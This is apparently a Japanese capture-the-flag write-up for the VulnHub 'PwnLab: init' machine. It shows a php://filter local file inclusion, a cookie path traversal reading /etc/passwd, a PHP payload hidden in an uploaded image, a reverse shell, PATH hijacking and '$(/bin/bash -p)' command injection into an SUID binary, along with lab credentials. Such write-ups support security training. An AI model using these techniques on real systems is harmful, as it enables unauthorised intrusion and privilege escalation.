概要
VulnHub「PwnLab: init」のWriteupです。
Flag
$sudo netdiscover -i enp0s8 -r 192.168.178.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.178.1 0a:00:27:00:00:08 1 60 Unknown vendor
192.168.178.2 08:00:27:10:4b:89 1 60 PCS Systemtechnik GmbH
192.168.178.25 08:00:27:4a:2b:dc 1 60 PCS Systemtechnik GmbH
192.168.178.1
は、Virtual BoxのホストオンリーアダプターのIPです。
192.168.178.2
は。DHCPサーバーのIPアドレスです。
192.168.178.25
が、ターゲットマシンのIPアドレスだと分かりました。
ポートスキャンを実行します。
$nmap -Pn -sCV -T4 -p- 192.168.178.25 -oN nmap_result
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-title: PwnLab Intranet Image Hosting
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 32905/tcp status
| 100024 1 34156/udp6 status
| 100024 1 48378/tcp6 status
|_ 100024 1 59158/udp status
3306/tcp open mysql MySQL 5.5.47-0+deb8u1
| mysql-info:
| Protocol: 10
| Version: 5.5.47-0+deb8u1
| Thread ID: 39
| Capabilities flags: 63487
| Some Capabilities: Support41Auth, SupportsCompression, LongColumnFlag, SupportsLoadDataLocal, ConnectWithDatabase, Speaks41ProtocolNew, FoundRows, DontAllowDatabaseTableColumn, SupportsTransactions, ODBCClient, IgnoreSpaceBeforeParenthesis, InteractiveClient, Speaks41ProtocolOld, IgnoreSigpipes, LongPassword, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
| Status: Autocommit
| Salt: 0kLw4<n7cq.-7mB?UmGY
|_ Auth Plugin Name: mysql_native_password
32905/tcp open status 1 (RPC #100024)
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
80 | http | Apache/2.4.10 |
111 | rpcbind | 2-4 |
3306 | mysql | MySQL 5.5.47-0+deb8u1 |
80
番ポートにアクセスすると、画像ファイルを共有するwebアプリケーションが動いています。
ディレクトリスキャンをします。
config.php
などのファイルを発見しました。
$dirsearch -u http://192.168.178.25/
[13:58:46] 200 - 0B - /config.php
[13:58:51] 200 - 458B - /images/
[13:58:51] 301 - 317B - /images -> http://192.168.178.25/images/
[13:58:54] 200 - 164B - /login.php
[13:59:06] 301 - 317B - /upload -> http://192.168.178.25/upload/
[13:59:06] 200 - 19B - /upload.php
[13:59:06] 200 - 407B - /upload/
ログインページなどのURLに注目すると、/?page=login
のようになっています。
下記のような処理でPHPファイルを読み込んでいる際、php://filter
を使用したLFIのテクニックがあります。
<?php
$file = $_GET['file'];
include($file . '.php');
/?page=php://filter/convert.base64-encode/resource=login
とリクエストを送信することで、login.php
のソースコードをBase64でエンコードし、出力出来ました。
Base64でデコードし、ソースコードを見る事が出来ました。
config.php
からDBの認証情報を取得しているようです。
<?php
session_start();
require("config.php");
$mysqli = new mysqli($server, $username, $password, $database);
if (isset($_POST['user']) and isset($_POST['pass']))
{
$luser = $_POST['user'];
$lpass = base64_encode($_POST['pass']);
$stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?");
$stmt->bind_param('ss', $luser, $lpass);
$stmt->execute();
$stmt->store_Result();
if ($stmt->num_rows == 1)
{
$_SESSION['user'] = $luser;
header('Location: ?page=upload');
}
else
{
echo "Login failed.";
}
}
else
{
?>
<form action="" method="POST">
<label>Username: </label><input id="user" type="test" name="user"><br />
<label>Password: </label><input id="pass" type="password" name="pass"><br />
<input type="submit" name="submit" value="Login">
</form>
<?php
}
同様の手口でconfig.php
のソースコードも入手できました。
MySQLの認証情報を入手できました。
<?php
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>
MySQLのポートがオープンになっているので、接続をします。
$mysql -h 192.168.178.25 -u root -p
MySQL [(none)]>
Webサイトのアカウント情報を入手できました。
MySQL [Users]> select * from users;
+------+------------------+
| user | pass |
+------+------------------+
| kent | Sld6WHVCSkpOeQ== |
| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |
+------+------------------+
各アカウントのパスワードはBase64でエンコードされているので、デコードし、パスワードの平文を入手できました。
$echo "Sld6WHVCSkpOeQ==" | base64 -d
JWzXuBJJNy
$echo "U0lmZHNURW42SQ==" | base64 -d
SIfdsTEn6I
$echo "aVN2NVltMkdSbw==" | base64 -d
iSv5Ym2GRo
kent
アカウントでログインに成功し、ファイルアップロードの画面にアクセスできました。
php://filter
のテクニックを使用し、ファイルアップロード処理のupload.php
のソースコードを入手できました。
<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
<body>
<form action='' method='post' enctype='multipart/form-data'>
<input type='file' name='file' id='file' />
<input type='submit' name='submit' value='Upload'/>
</form>
</body>
</html>
<?php
if(isset($_POST['submit'])) {
if ($_FILES['file']['error'] <= 0) {
$filename = $_FILES['file']['name'];
$filetype = $_FILES['file']['type'];
$uploaddir = 'upload/';
$file_ext = strrchr($filename, '.');
$imageinfo = getimagesize($_FILES['file']['tmp_name']);
$whitelist = array(".jpg",".jpeg",".gif",".png");
if (!(in_array($file_ext, $whitelist))) {
die('Not allowed extension, please upload images only.');
}
if(strpos($filetype,'image') === false) {
die('Error 001');
}
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
die('Error 002');
}
if(substr_count($filetype, '/')>1){
die('Error 003');
}
$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo "<img src=\"".$uploadfile."\"><br />";
} else {
die('Error 4');
}
}
}
strrchr()
で拡張子を抽出し、$whitelist
の拡張子に一致しているか確認しています。
また、アップロードファイルのMIMEタイプが画像かもチェックしています。
$file_ext = strrchr($filename, '.');
$imageinfo = getimagesize($_FILES['file']['tmp_name']);
$whitelist = array(".jpg",".jpeg",".gif",".png");
if (!(in_array($file_ext, $whitelist))) {
die('Not allowed extension, please upload images only.');
}
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
die('Error 002');
}
拡張子とMIMEタイプさえ合っていればいいので、画像ファイルにPHPのソースコードを挿入し、アップロードしたファイル内のPHPコード実行を試みます。
適当な画像ファイルをアップロードし、Burpでファイルの内容を改ざんします。
PMG
の文字列移行に<?php ?>
のコードを挿入しました。
upload.php
のチェックを回避し、ファイルアップロードに成功しました。
アップロードしたファイルは、/upload
配下にファイル名をMD5変換された状態で保存されました。
index.php
のソースコードを取得し、確認します。
$_COOKIE['lang']
の値をそのままinclide()
しているのでLFIが出来そうです。
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
if (isset($_GET['page']))
{
include($_GET['page'].".php");
}
else
{
echo "Use this server to upload and share image files inside the intranet";
}
?>
</center>
</body>
</html>
Cookieのlang
パラメータをLFIの値でセットすると、LFIに成功しました。
Cookie: PHPSESSID=61qvq7m73rlf54tsj4flpc6213; lang=../../../../etc/passwd
同様の手法で、先ほどアップロードしたPHPソースコード入りの画像ファイルにアクセスすると、PHPコードを実行できました。
このLFIを利用してリバースシェルを張ります。
Netcatでリッスンします。
$nc -lnvp 1234
Listening on 0.0.0.0 1234
リバースシェルのコマンドをURLエンコードします。
?cmd=
パラメータでURLエンコードしたペイロードをセットし、Cookieのlang
でLFIを悪用しアクセスします。
リバースシェルを張れました。
$nc -lnvp 1234
Listening on 0.0.0.0 1234
Connection received on 192.168.178.25 38623
bash: cannot set terminal process group (809): Inappropriate ioctl for device
bash: no job control in this shell
www-data@pwnlab:/var/www/html$ whoami
whoami
www-data
TTYを設定します。
$ python -c "import pty;pty.spawn('/bin/bash')"
/home
にはjohn
、kane
などいくつかのフォルダがあります。
$ ls -la /home
ls -la /home
total 24
drwxr-xr-x 6 root root 4096 Mar 17 2016 .
drwxr-xr-x 21 root root 4096 Mar 17 2016 ..
drwxr-x--- 2 john john 4096 Mar 17 2016 john
drwxr-x--- 2 kane kane 4096 Mar 17 2016 kane
drwxr-x--- 2 kent kent 4096 Mar 17 2016 kent
drwxr-x--- 2 mike mike 4096 Mar 17 2016 mike
MySQLから得られた認証情報でkane
アカウントにログイン出来ました。
$ su kane
su kane
Password: iSv5Ym2GRo
kane@pwnlab:/home/kent$
/home/kane
フォルダにSUIDが設定された、msgmike
というファイルを発見しました。
$ ls -la /home/kane
ls -la /home/kane
total 28
drwxr-x--- 2 kane kane 4096 Mar 17 2016 .
drwxr-xr-x 6 root root 4096 Mar 17 2016 ..
-rw-r--r-- 1 kane kane 220 Mar 17 2016 .bash_logout
-rw-r--r-- 1 kane kane 3515 Mar 17 2016 .bashrc
-rwsr-sr-x 1 mike mike 5148 Mar 17 2016 msgmike
-rw-r--r-- 1 kane kane 675 Mar 17 2016 .profile
file
コマンドでmsgmike
のファイルタイプを確認すると、実行ファイルだと分かりました。
$ file msgmike
file msgmike
msgmike: setuid, setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d7e0b21f33b2134bd17467c3bb9be37deb88b365, not stripped
実行してみると/home/mike/msg.txt
が無いというエラーが出力されました。
$ ./msgmike
./msgmike
cat: /home/mike/msg.txt: No such file or directory
strings
コマンドでmsgmike
の文字列を検索します。
cat
で/home/mike/msg.txt
を読み取っています。
$ strings msgmike
(中略)
cat /home/mike/msg.txt
cat
は絶対パスで指定されていないので、$PATH
環境変数にあるパスの順番で実行されます。
任意のcat
実行ファイルを作成し、$PATH
環境変数にパスを追加すれば、任意のコマンドを実行できそうです。
$ echo $PATH
echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
Bashを実行するcat
ファイルを作成します。
$ echo "/bin/bash" > /tmp/cat
$ cat /tmp/cat
cat /tmp/cat
/bin/bash
権限を付与します。
$ chmod 777 /tmp/cat
chmod 777 /tmp/cat
/tmp
を$PATH
環境変数に追加します。
$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
$ echo $PATH
echo $PATH
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
msgmike
を実行するとmike
でシェルを取得できました。
$ ./msgmike
./msgmike
mike@pwnlab:~$
/home/mike
を確認すると、msg2root
を発見しました。
SUIDが設定されており、root権限で実行できます。
$ ls -la /home/mike
ls -la /home/mike
total 28
drwxr-x--- 2 mike mike 4096 Mar 17 2016 .
drwxr-xr-x 6 root root 4096 Mar 17 2016 ..
-rw-r--r-- 1 mike mike 220 Mar 17 2016 .bash_logout
-rw-r--r-- 1 mike mike 3515 Mar 17 2016 .bashrc
-rwsr-sr-x 1 root root 5364 Mar 17 2016 msg2root
-rw-r--r-- 1 mike mike 675 Mar 17 2016 .profile
file
コマンドで確認すると実行ファイルだと分かりました。
$ file msg2root
file msg2root
msg2root: setuid, setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=60bf769f8fbbfd406c047f698b55d2668fae14d3, not stripped
msg2root
を実行すると、キーボード入力が要求されました。
$ ./msg2root
./msg2root
Message for root: test
test
test
strings
コマンドで文字列を探すと、/bin/echo
で入力された値を/root/messages.txt
に追記している処理を発見しました。
$ strings ./msg2root
(中略)
Message for root:
/bin/echo %s >> /root/messages.txt
ドルパーレンの書式$(<コマンド>)
で、OSコマンドの実行に成功しました。
$ ./msg2root
./msg2root
Message for root: $(whoami)
$(whoami)
root
同様の手法を使用し、root
でシェルを張れました。
$ ./msg2root
./msg2root
Message for root: $(/bin/bash -p)
$(/bin/bash -p)
bash-4.3#
また、;
で区切る手法でもOSコマンドインジェクションに成功しました。
$ ./msg2root
./msg2root
Message for root: test; /bin/bash -p
test; /bin/bash -p
test
bash-4.3# whoami
whoami
root
strings
で/root/flag.txt
を確認すると、フラグを入手できました。
# strings /root/flag.txt
strings /root/flag.txt
.-=~=-. .-=~=-.
(__ _)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(__ _)
(_ ___) _____ _ (_ ___)
(__ _) / __ \ | | (__ _)
( _ __) | / \/ ___ _ __ __ _ _ __ __ _| |_ ___ ( _ __)
(__ _) | | / _ \| '_ \ / _` | '__/ _` | __/ __| (__ _)
(_ ___) | \__/\ (_) | | | | (_| | | | (_| | |_\__ \ (_ ___)
(__ _) \____/\___/|_| |_|\__, |_| \__,_|\__|___/ (__ _)
( _ __) __/ | ( _ __)
(__ _) |___/ (__ _)
(__ _) (__ _)
(_ ___) If you are reading this, means that you have break 'init' (_ ___)
( _ __) Pwnlab. I hope you enjoyed and thanks for your time doing ( _ __)
(__ _) this challenge. (__ _)
(_ ___) (_ ___)
( _ __) Please send me your feedback or your writeup, I will love ( _ __)
(__ _) reading it (__ _)
(__ _) (__ _)
(__ _) For sniferl4bs.com (__ _)
( _ __) claor@PwnLab.net - @Chronicoder ( _ __)
(__ _) (__ _)
(_ ___)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(_ ___)
`-._.-' `-._.-'